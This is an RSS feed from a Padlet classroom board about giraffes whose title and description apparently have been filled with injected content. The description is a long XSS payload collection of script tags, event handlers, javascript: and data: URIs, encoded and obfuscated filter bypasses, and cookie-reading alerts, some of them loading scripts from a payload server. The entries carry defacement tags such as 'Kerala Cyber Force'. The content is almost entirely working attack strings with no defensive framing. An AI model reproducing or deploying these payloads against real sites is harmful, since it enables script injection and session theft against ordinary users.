<?xml version="1.0"?>
<rss version="2.0">
   <channel>
      <title>What do we know about Giraffes&quot;&gt;KWL Chart&quot;&gt; by [[constructor.constructor(&#39;alert(document.cookie)&#39;)()]]</title>
      <link>https://padlet.com/amanmahendra635/nayn6hskvx27</link>
      <description>@brutelogic$=&#39;XSSPOSED&#39;,alert($)

‘%22()%26%25alert(document.domain)

&gt;&#39;&gt;&quot;&gt;&#39;&gt;&quot;&gt;XSS-by-panchal&quot;)&gt;
&#39;&#39;&quot;&gt;

-alert(1)-

-prompt(1)-



javascript:confirm(1)

javascript:confirm(1);

javascript:alert(1)

javascript:alert(1);

javascript:alert(1)

javaSCRIPT&amp;colon;alert(1)

JaVaScRipT:alert(1)

javas&amp;Tab;cript:\u0061lert(1);

javascript:\u0061lert(1)

javascript:alert&amp;lpar;document&amp;period;cookie&amp;rpar;

vbscript:alert(1);

vbscript:alert(1);

vbscr&amp;Tab;ipt:alert(1)&quot;

&#39;&#39;;!--&quot;=&amp;{()}

+alert(&quot;KCF&quot;);

+alert(&quot;KCF&quot;)

alert(1)

alert(/KCF/)

&#39; &#39;&gt;alert(1)

&#39;&#39;&gt;alert(1)


varmyvar=&quot;text&amp;quot;;alert(1)//&quot;;

???script?alert(1)?/script?

&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;

KCF

confirm(1);



alert&amp;#40/1/&amp;#41



CLICK

CLICK



 

 First name:     

alert(1)

&#39;&quot;&gt;&gt;&quot;&gt;|\&gt;prompt(1)@gmail.com&#39;--&gt;&quot;&gt;alert(1)&quot;&gt;&#39;&quot;&gt;

var url = &quot;&lt;!--&lt;script&gt;&quot;;//alert(1)

alert(1)

&quot;&gt;

Execute(MsgBox(chr(75)&amp;chr(67)&amp;chr(70)))

&lt;img/src=&#39;http://127.0.0.1:3555/xss_serve_payloads/kcf.jpg&#39; onmouseover=&amp;Tab;prompt(1)

&lt;svg&gt;&lt;script&gt;alert&amp;#40 1&amp;#41

&lt;embed/src=//goo.gl/nlX0P&gt;

&lt;object/data=//goo.gl/nlX0P&gt;

&lt;iframesrc=&quot;javascript:alert(2)&quot;&gt;

&lt;iframe/src=&quot;data:text&amp;sol;html;&amp;Tab;base64&amp;NewLine;,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=&quot;&gt;

&lt;isindexformaction=&quot;javascript:alert(1)&quot; type=image&gt;

&lt;input type=&quot;image&quot; formaction=JaVaScript:alert(0)&gt;

&lt;form&gt;&lt;button formaction=javascript&amp;colon;alert(1)&gt;CLICKME

&lt;form action=&quot;Javascript:alert(1)&quot;&gt;&lt;input type=submit&gt;

&lt;isindex action=&quot;javascript:alert(1)&quot; type=image&gt;

&lt;isindex action=j&amp;Tab;a&amp;Tab;vas&amp;Tab;c&amp;Tab;r&amp;Tab;ipt:alert(1) type=image&gt;

&lt;isindex action=data:text/html, type=image&gt;

“/&gt;&lt;marquee onfinish=confirm(1)&gt;a&lt;/marquee&gt;

&lt;object data=&#39;data:text/xml,&lt;script xmlns=&quot;&lt;http://www.w3.org/1999/xhtml &gt;&quot;&gt;confirm(1)&gt;&#39;&gt;

alert(&#39;KCF&#39;)=a

document.write(toStaticHTML(&quot;&lt;style&gt;div{font-family:rgb(&#39;0,0,0)&#39;&#39;&#39;}foo&#39;);color=expression(alert(1));{}&lt;/style&gt;&lt;div&gt;POC&lt;/div&gt;&quot;))

&#39;;!--&quot;alert(1);={()}

document.body.innerHTML=&quot;&lt;a onmouseover%0B=location=&#39;\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x61\x6C\x65\x72\x74\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B&#39;&gt;&lt;input name=attributes&gt;&quot;;

asfunction:getURL,javascript:alert(1)//

\%22))}catch(e){}if(!self.a)self.a=!alert(1)//

&quot;]%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%281%29;//

0%5C&quot;))%7Dcatch(e)%7Bif(!window.x)%7Bwindow.x=1;alert(1)%7D%7D//

KCF

KCF

KCF







&amp;ltimg src=x onerror=alert(1)&amp;gt&lt;/svg&gt; 

&lt;listing&gt;&amp;ltimg src=x onerror=alert(1)&amp;gt&lt;/listing&gt;

&quot;onmouseover=alert(1);a=&quot;

&#39;+alert(1)&amp;&amp;null==&#39;

+alert(1)&amp;&amp;null==&#39;

\\\&#39;&gt;&lt;script&gt;1&lt;\\/script&gt;

\\\&#39;&gt;&lt;body onload=\\\&#39;1\\\&#39;&gt;

\&quot;&gt;&lt;script&gt;1&lt;\\/script&gt;

&gt;&lt;script&gt;1&lt;\\/script&gt;

\&quot;&gt;&lt;body onload=\&quot;1\&quot;&gt;

&lt;img src=\&quot;x:kcf\&quot; onerror=\&quot;alert(1)\&quot;&gt;

&lt;img src=a onerror=alert(1)

&lt;script&gt;alert(\&#39;1\&#39;)&lt;/script&gt;

&lt;script&gt;alert(\&#39;\\\\1\\\\\&#39;)&lt;/script&gt;

&lt;script&gt;alert(\&#39;\\/\\1\\/\\\&#39;)&lt;/script&gt;

\&#39;\&#39;\&quot;&gt;

&lt;scri%00pt&gt;alert(1);&lt;/scri%00pt&gt;

&lt;scri\x00pt&gt;alert(1);&lt;/scri%00pt&gt;

&lt;s%00c%00r%00%00ip%00t&gt;confirm(1);&lt;/s%00c%00r%00%00ip%00t&gt;

&lt;script&gt;alert(1);&lt;/script&gt;

&lt;%0ascript&gt;alert(1);&lt;/script&gt;

&lt;%0bscript&gt;alert(1);&lt;/script&gt;

&lt;!--[if]&gt;&lt;script&gt;alert(1)&lt;/script --&gt;

&lt;SCRIPT&gt; alert(\&quot;1\&quot;);&lt;/SCRIPT&gt;

&lt;SCRIPT&gt; alert(\&quot;1\&quot;)&lt;/SCRIPT&gt;

&lt;script&gt;alert([!![]] [])&lt;/script&gt;

&lt;var onmouseover=&quot;prompt(1)&quot;&gt;KCF&lt;/var&gt;

%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80?

&lt;input type=&quot;text&quot; value=``&lt;div/onmouseover=&#39;alert(1)&#39;&gt;X&lt;/div&gt;

&lt;iframe  src=j&amp;NewLine;&amp;Tab;a&amp;NewLine;&amp;Tab;&amp;Tab;v&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;a&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;s&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;c&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;r&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;i&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;p&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;t&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;colon;a&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;l&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;e&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;r&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;t&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;%28&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;1&amp;NewLine;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;&amp;Tab;%29&gt;&lt;/iframe&gt; ?

&lt;iframe  src=j&amp;Tab;a&amp;Tab;v&amp;Tab;a&amp;Tab;s&amp;Tab;c&amp;Tab;r&amp;Tab;i&amp;Tab;p&amp;Tab;t&amp;Tab;:a&amp;Tab;l&amp;Tab;e&amp;Tab;r&amp;Tab;t&amp;Tab;%28&amp;Tab;1&amp;Tab;%29&gt;&lt;/iframe&gt;

&lt;meta http-equiv=&quot;refresh&quot; content=&quot;0;javascript&amp;colon;alert(1)&quot;/&gt;?

&lt;embed code=&quot;http://127.0.0.1:3555/xss_serve_payloads/flash.swf&quot; allowscriptaccess=always&gt;?

&lt;script&gt;~&#39;\u0061&#39; ;  \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073.  \u0061\u006C\u0065\u0072\u0074(~&#39;\u0061&#39;)&lt;/script U+

&lt;script/src=data&amp;colon;text/j\u0061v\u0061&amp;#115&amp;#99&amp;#114&amp;#105&amp;#112&amp;#116,\u0061%6C%65%72%74(/KCF/)&gt;&lt;/script ????????????

&lt;script itworksinallbrowsers&gt;/*&lt;script* */alert(1)&lt;/script ?

&lt;img src ?itworksonchrome?\/onerror = alert(1)???

&lt;meta http-equiv=&quot;refresh&quot; content=&quot;0; url=data:text/html;blabla,&amp;#60;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#62;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#49;&amp;#41;&amp;#60;&amp;#47;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#62;&quot;&gt;

&lt;a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa  aaaaaaaaa aaaaaaaaaa  href=j&amp;#97v&amp;#97script&amp;#x3A;&amp;#97lert(1)&gt;ClickMe

&lt;script/src=&amp;#100&amp;#97&amp;#116&amp;#97:text/&amp;#x6a&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x000070&amp;#x074,&amp;#x0061;&amp;#x06c;&amp;#x0065;&amp;#x00000072;&amp;#x00074;(1)&gt;&lt;/script&gt; ?

&lt;div  style=&quot;position:absolute;top:0;left:0;width:100%;height:100%&quot;  onmouseover=&quot;prompt(1)&quot; onclick=&quot;alert(1)&quot;&gt;x&lt;/button&gt;?

&quot;&gt;&lt;img src=x onerror=window.open(&#39;http://127.0.0.1:3555/xss_serve_payloads/kcf.html&quot;&#39;);&gt;

&lt;table background=javascript:alert(1)&gt;&lt;/table&gt;

&lt;object/data=//127.0.0.1:3555/xss_serve_payloads/flash.swf

&lt;applet code=&quot;javascript:confirm(1);&quot;&gt;

&lt;marquee/onstart=confirm(2)&gt;/

&lt;body onload=prompt(1);&gt;

&lt;select autofocus onfocus=alert(1)&gt;

&lt;textarea autofocus onfocus=alert(1)&gt;

&lt;keygen autofocus onfocus=alert(1)&gt;

&lt;video&gt;&lt;source onerror=&quot;javascript:alert(1)&quot;&gt;

&lt;a onmouseover=&quot;javascript:window.onerror=alert;throw 1&gt;

&lt;img src=x onerror=&quot;javascript:window.onerror=alert;throw 1&quot;&gt;

&lt;body/onload=javascript:window.onerror=eval;throw&#39;=alert\x281\x29&#39;;

&lt;img style=&quot;xss:expression(alert(1))&quot;&gt;

&lt;div style=&quot;color:rgb(&#39;&#39;&amp;#0;x:expression(alert(1))&quot;&gt;&lt;/div&gt;

&lt;a onmouseover=location=’javascript:alert(1)&gt;click

&lt;body onfocus=&quot;location=&#39;javascrpt:alert(1) &gt;123

&lt;svg xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;&gt;&lt;a&gt;&lt;circle r=100 /&gt;&lt;animate attributeName=&quot;xlink:href&quot; values=&quot;;javascript:alert(1)&quot; begin=&quot;0s&quot; dur=&quot;0.1s&quot; fill=&quot;freeze&quot;/&gt;

&lt;svg&gt;&lt;![CDATA[&gt;&lt;imagexlink:href=&quot;]]&gt;&lt;img/src=xx:xonerror=alert(1)//&quot;&gt;&lt;/svg&gt;

&lt;meta content=&quot;&amp;NewLine; 1 &amp;NewLine;;JAVASCRIPT&amp;colon; alert(1)&quot; http-equiv=&quot;refresh&quot;/&gt; 

&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot;&gt;&lt;g onload=&quot;javascript:\u0061lert(1);&quot;&gt;&lt;/g&gt;&lt;/svg&gt; 

&lt;style&gt;#test{x:expression(alert(/KCF/))}

?



eval(&quot;s=document.createElement(&#39;script&#39;);alert(1);document.getElementsByTagName(&#39;head&#39;)[0].appendChild(s)&quot;)

&quot;&gt;

javascript:/*–&gt;”&gt; [img=1]”&quot;/&gt;

 Jquery: 

alert(x)

testtestalert(x.y[0])

alert(x.y.x.y.x.y[0]);alert(x.x.x.x.x.x.x.x.x.y.x.y.x.y[0]);

testtestalert(x.removeChild)alert(x.parentNode)

testx=&#39;javascript:alert(1)&#39;;

if(top!=self){top.location=self.location}

if(top!=self){top.location=self.location}

%3Cimg%20name%3DgetElementsByTagName%20src%3D1%20%20onerror%3Dalert(1)%3E

%3Cform%20onmouseover%3Dalert(1)%3E%3Cinput%20name%3Dattributes%3E

KCF

data:text/html,%3Cscript%3Ealert(1)%3C%2Fscript%3E

window.name//&#39;name=&quot;javascript:alert(&quot;KCF&quot;)



%22]);}catch(e){}if(!self.a)self.a=!alert(1);/

alert(1);

alert(&quot;/KCF&quot;/)

a=/KCF/\nalert(1);

alert([!![]]+[])

prompt(-[])

alert(1)

#alert(Hacked by Pratik)

\&#39;&gt;KCF&lt;\/script&gt;

\&#39;&gt;&lt;body onload=\&#39;KCF\&#39;&gt;

&quot;&gt;&lt;script&gt;KCF&lt;\/script&gt;

&gt;&lt;script&gt;KCF&lt;\/script&gt;

&quot;&gt;&lt;body onload=&quot;KCF&quot;&gt;

&lt;img src=&quot;x:kcf&quot; onerror=&quot;alert(1)&quot;&gt;

&lt;img src=a onerror=alert(1)%0A&gt;a

onmouseover=alert(1);

&lt;&lt;SCRIPT&gt;alert(1);/

&lt;SCRIPT&gt;a=/kcf/

alert(1)

alert(String.fromCharCode(49))

alert(/1/.source)

eval(&#39;alert(1)&#39;)

this[&#39;EvAL&#39;.toLowerCase()](&#39;aLErT(1)&#39;.toLowerCase())

(alert(1)).replace(/.+/,eval);

\u0061\u006c\u0065\u0072\u0074(1)

eval(&#39;\u00&#39; + &#39;6&#39; + &#39;1&#39;+&#39;le&#39; + &#39;\u0072&#39; + &#39;t(1)&#39;)

eval(&#39;\141\154\145\162\164\50\61\51&#39;)

eval(&#39;\x61\x6c\x65\x72\x74(1)&#39;)

eval(&#39;\x61ler\x74(1)&#39;)

top[&#39;a\x6Cert&#39;](1)

x=&#39;\x61\x6c\x65\x72\x74\x28\x31\x29&#39;;new Function(x)()

setTimeout(&#39;alert(1)&#39;,0)

setTimeout(\u0061\u006c\u0065\u0072\u0074(1),0);

onerror=eval;throw&#39;alert\x281\x29&#39;;

expression(URL=0)

expr\65 ssion(URL=0)

expr\65 ss/*???*/ion(URL=0);

expression\28URL=0\29

expr\65 ss/*\&amp;#x25;/ion\28URL=0\29

\000045xpr\000065 ss/*BlABl/\\aaaaa!!!*

javascript&amp;colon;alert(1)

javascript&amp;#x3A;alert(1)

j&amp;#x61;v&amp;#x41;sc&amp;#x52;ipt&amp;#x3A;alert(1)

j&amp;#x61;v&amp;#x41;sc&amp;#x52;ipt&amp;#x3A;al&amp;#x65;rt&amp;lpar;1&amp;rpar;

feed:javascript:alert(1)

feed:javascript&amp;colon;alert(1)

feed:data:text/html,%3cscript%3ealert%281%29%3c/script%3e

feed:data:text/html,%3csvg%20onload=alert%281%29%3e

data:text/html,%3Cscript%3Ealert(1)%3C/script%3E

d&amp;#x61;t&amp;#x61;&amp;colon;text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=

data:_;;;:;base64_______,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=

&lt;LAYER SRC=&quot;javascript:alert(1);&quot;&gt;&lt;/LAYER&gt;

&lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;javascript:alert(1);&quot;&gt;

&lt;!--[if gte IE 4]&gt;&lt;SCRIPT&gt;alert(1);



data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=

alert(String.fromCharCode(75,67,70))

&quot;&gt;alert(String.fromCharCode(75,67,70))





x=/KCF/  alert(x.source) 



prompt(1)



&quot;&gt;









ALeRt(“ KCF ”)

”&gt;alert(“KCF”)

’&gt;alert(1)







&amp;alert(1);

&amp;{alert(1);};









[\xC0][\xBC]script&gt;alert(1);[\xC0][\xBC]/script&gt;&quot; };



&lt;!--alert(1);//--&gt;

alert(1);//--&gt;

alert(1);

javascript:/*--&gt;]]&gt;%&gt;?&gt;&quot;&gt;[img=1,name=/alert(1)/.source]&quot;











&quot;&gt;



 



&quot;&gt; 

&quot;&gt;



window.open(&quot;http://127.0.0.1:3555/xss_serve_payloads/kcf.html&quot;,&quot;_self&quot;);

&quot; SRC=&quot;http://127.0.0.1:3555/xss_serve_payloads/kcf.js&quot;&gt;





&#39;&quot; SRC=&quot;http://127.0.0.1:3555/xss_serve_payloads/kcf.js&quot;&gt;

` SRC=&quot;http://127.0.0.1:3555/xss_serve_payloads/kcf.js&quot;&gt;



&quot; SRC=&quot;http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp&quot;&gt;





&#39;&quot; SRC=&quot;http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp&quot;&gt;

` SRC=&quot;http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp&quot;&gt;















alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])







“&gt;prompt(1)

“&gt;alert(String.fromCharCode(75,67,70))

‘&gt;prompt(1)

‘&gt;alert(String.fromCharCode(75,67,70))

prompt(1)



“&gt;&lt;ScRIPt&gt;prompt(1)

“&gt;

‘&gt;&lt;ScRIPt&gt;prompt(1)

‘&gt;

prompt(1)

alert(String.fromCharCode(75,67,70))

“/&gt;prompt(1)

“/&gt;alert(String.fromCharCode(75,67,70))

‘/&gt;prompt(1)

‘/&gt;alert(String.fromCharCode(75,67,70))

”&gt;prompt(1)

”&gt;alert(String.fromCharCode(75,67,70))

”&gt;”&gt;prompt(1)

”&gt;’&gt;alert(String.fromCharCode(75,67,70))

%27%3E%3C%73%63%72%69%70%74%3E%4B%43%46%3C%2F%73%63%72%69%70%74%3E

%22%3E%3C%73%63%72%69%70%74%3E%4B%43%46%3C%2F%73%63%72%69%70%74%3E

%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%34%42%25%34%33%25%34%36%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45

%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%25%34%42%25%34%33%25%34%36%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45

%25%32%35%25%33%32%25%33%32%25%32%35%25%33%33%25%34%35%25%32%35%25%33%33%25%34%33%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%37%25%33%30%25%32%35%25%33%37%25%33%34%25%32%35%25%33%33%25%34%35%25%32%35%25%33%34%25%34%32%25%32%35%25%33%34%25%33%33%25%32%35%25%33%34%25%33%36%25%32%35%25%33%33%25%34%33%25%32%35%25%33%32%25%34%36%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%37%25%33%30%25%32%35%25%33%37%25%33%34%25%32%35%25%33%33%25%34%35

KCF

Kerala Cyber Force

KCF

window.open( &quot;http://127.0.0.1:3555/xss_serve_payloads/kcf.html&quot; )

alert%281%29

alert(1)/

msgbox%20KCF

&#39;&#39;;}}alert(1)

&gt;alert(KCF)&#39;&quot;&gt;Kerala Cyber Force

document.write(&quot;&lt;SCRI&quot;);PT SRC=&quot;http://127.0.0.1:3555/xss_serve_payloads/kcf.js&quot;&gt;

document.write(&quot;&lt;SCRI&quot;);PT SRC=&quot;http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp&quot;&gt;

‘;!–alert(String.fromCharCode(75,67,70))=&amp;{}

!–alert(String.fromCharCode(75,67,70))=&amp;{}











alert(1);





alert(1)&quot;&gt;

&quot;&gt;&#39;&gt;alert(String.fromCharCode(75,67,70))













prompt(1)











&#39; style=abc:expression(KCF) &#39; \&quot; style=abc:expression(KCF) \&quot;

&quot; type=image src=null onerror=KCF &quot; \&#39; type=image src=null onerror=KCF \&#39;

onload=&#39;KCF&#39; \&quot; onload=\&quot;KCF\&quot;/onload=\&quot;KCF\&quot;/onload=&#39;KCF&#39;/

\&#39;\&quot;

&lt;















alert(1);



&quot;;location=&#39;javascript:alert(1)&#39;;

&quot;;location=location.hash)//#0={};alert(1)

&quot;;eval(unescape(location))//#%0Aalert(1)

KCF

alert(1)&quot;&gt;KCF



data:text/html,alert(1)





¼script¾alert(¢KCF¢)¼/script¾





















alert(1);

&lt;alert(1);//&lt;

&lt;alert(1);



a=/KCF/alert(a.source)

\&quot;;alert(1);//









&quot;&gt; 











 onload=alert(1)&gt;

 onload=alert(1)&gt;

alert(String.fromCharCode(75,67,70))

&lt;ScRIPT x src=//0x.lv?&lt;/style&gt;alert(String.fromCharCode(75,67,70))

alert(KCF

%7D%3C/style%3E43%27%22%3E%3C/title%3E%3Cscript%3Ea=eval;b=alert;a(b(/KCF/.source));%3C/script%3E%27%22%3E%3Cmarquee%3E%3Ch1%3EKCF%3C/h1%3E%3C/marquee%3E

&amp;#60;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#62;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#34;&amp;#75;&amp;#67;&amp;#70;&amp;#34;&amp;#41;&amp;#60;&amp;#47;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#62;

&lt;FRAMESET&gt;&lt;FRAME SRC=&quot;javascript:alert(1);&quot;&gt;&lt;/FRAMESET&gt;

&#39;)alert(1);

&quot;);alert(1);

“;alert(“KCF”);”

“;alert(String.fromCharCode(75,67,70));”

‘;alert(“KCF”);’

‘;alert(String.fromCharCode(75,67,70));’

“;alert(“KCF”)

“;alert(String.fromCharCode(75,67,70))

‘;alert(“KCF”)

‘;alert(String.fromCharCode(75,67,70))

&lt;script&gt;var var = 1; alert(var)

alert(1)

“&gt;alert(1)

iframe







KCF

KCF

KCF









“&gt;alert(1)

“&gt;alert(1)

“&gt;&lt;alert(1);//&lt;

foo%00alert(1)

ipt&gt;alert(1)ipt&gt;

&#39;;alert(String.fromCharCode(75,67,70))//\&#39;;alert(String.fromCharCode(75,67,70))//&quot;;alert(String.fromCharCode(75,67,70))//\&quot;;alert(String.fromCharCode(75,67,70))//--&gt;&lt;/SCRIPT&gt;&quot;&gt;&#39;&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(75,67,70))&lt;/SCRIPT&gt;

&#39;;alert(String.fromCharCode(75,67,70))//\&#39;;alert(String.fromCharCode(75,67,70))//&quot;;alert(String.fromCharCode(75,67,70))//\&quot;;alert(String.fromCharCode(75,67,70))//--&gt;&quot;&gt;&#39;&gt;alert(String.fromCharCode(75,67,70))=&amp;{}

&#39;&#39;;!--&quot;&lt;KCF&gt;=&amp;{()}

&lt;IMG SRC=&quot;javascript:alert(1);&quot;&gt;

&lt;IMG SRC=javascript:alert(1)&gt;

&lt;IMG SRC=JaVaScRiPt:alert(1)&gt;

&lt;IMG SRC=javascript:alert(&amp;quot;KCF&amp;quot;)&gt;

&lt;IMG SRC=`javascript:alert(&quot;Kerala Cyber Force says, &#39;KCF&#39;&quot;)`&gt;

&lt;IMG &quot;&quot;&quot;&gt;&lt;SCRIPT&gt;alert(1)&lt;/SCRIPT&gt;&quot;&gt;

&lt;IMG SRC=javascript:alert(String.fromCharCode(75,67,70))&gt;

&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;

&lt;IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041&gt;

&lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;

&lt;IMG SRC=&quot;jav	ascript:alert(1);&quot;&gt;

&lt;IMG SRC=&quot;jav&amp;#x09;ascript:alert(1);&quot;&gt;

&lt;IMG SRC=&quot;jav&amp;#x0A;ascript:alert(1);&quot;&gt;

&lt;IMG SRC=&quot;jav&amp;#x0D;ascript:alert(1);&quot;&gt;



&lt;IMGSRC=&quot;javascript:alert(&#39;XSS&#39;)&quot;&gt;











li {list-style-image: url(&quot;javascript:alert(1)&quot;);}KCF





@im\port&#39;\ja\vasc\ript:alert(1)&#39;;



exp/*

alert(1);

.KCF{background-image:url(&quot;javascript:alert(1)&quot;);}



BODY{background:url(&quot;javascript:alert(1)&quot;)}



 echo(&#39;alert(1)&#39;); ?&gt;



 +ADw-SCRIPT+AD4-alert(1);+ADw-/SCRIPT+AD4-

&lt;IMG SRC=&quot;javascript:alert(1)&quot;&gt;



a=&quot;get&quot;;b=&quot;URL(\&quot;&quot;;c=&quot;javascript:&quot;;d=&quot;alert(1);\&quot;)&quot;;eval(a+b+c+d);





alert(1);;



]]&gt;

%253cscript%253ealert(1)%253c/script%253e

foo\’; alert(1);//’;

alert(1)

‘; alert(1); var foo=’





&gt;

s%22%20style=x:expression(alert(1))

s%22%20style=%22background:url(javascript:alert(’KCF’))

s%22%20%22+STYLE%3D%22background-image%3A+expression%28alert%28%27KCF%3F%29%29

%22/%3E%3Cmeta%20http-equiv=refresh%20content=0;javascript:alert(1);&gt;



perl -e &#39;print &quot;&lt;IMG SRC=java\0script:alert(\&quot;KCF\&quot;)&gt;&quot;;&#39; &gt; out

perl -e &#39;print &quot;&lt;SCR\0IPT&gt;alert(\&quot;KCF\&quot;)&lt;/SCR\0IPT&gt;&quot;;&#39; &gt; out

perl -e &#39;print &quot;&quot;;&#39;&gt; out

&lt;IMG SRC=&quot; &amp;#14;  javascript:alert(1);&quot;&gt;

&lt;SCRIPT/KCF SRC=&quot;http://127.0.0.1:3555/xss_serve_payloads/kcf.js&quot;&gt;&lt;/SCRIPT&gt;

&lt;SCRIPT/KCF SRC=&quot;http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp&quot;&gt;&lt;/SCRIPT&gt;

&lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert(1)&gt;

&lt;&lt;SCRIPT&gt;alert(1);//&lt;&lt;/SCRIPT&gt;

&lt;IMG SRC=&quot;javascript:alert(1)&quot;

&lt;iframe src=http://127.0.0.1:3555/xss_serve_payloads/kcf.html &lt;

&lt;SCRIPT&gt;a=/KCF/

alert(a.source)&lt;/SCRIPT&gt;

&lt;/TITLE&gt;&lt;SCRIPT&gt;alert(1);&lt;/SCRIPT&gt;

&lt;INPUT TYPE=&quot;IMAGE&quot; SRC=&quot;javascript:alert(1);&quot;&gt;

&lt;BODY BACKGROUND=&quot;javascript:alert(1)&quot;&gt;

&lt;BODY ONLOAD=alert(1)&gt;

&lt;IMG LOWSRC=&quot;javascript:alert(1)&quot;&gt;

&lt;BGSOUND SRC=&quot;javascript:alert(1);&quot;&gt;

&lt;BR SIZE=&quot;&amp;{alert(1)}&quot;&gt;

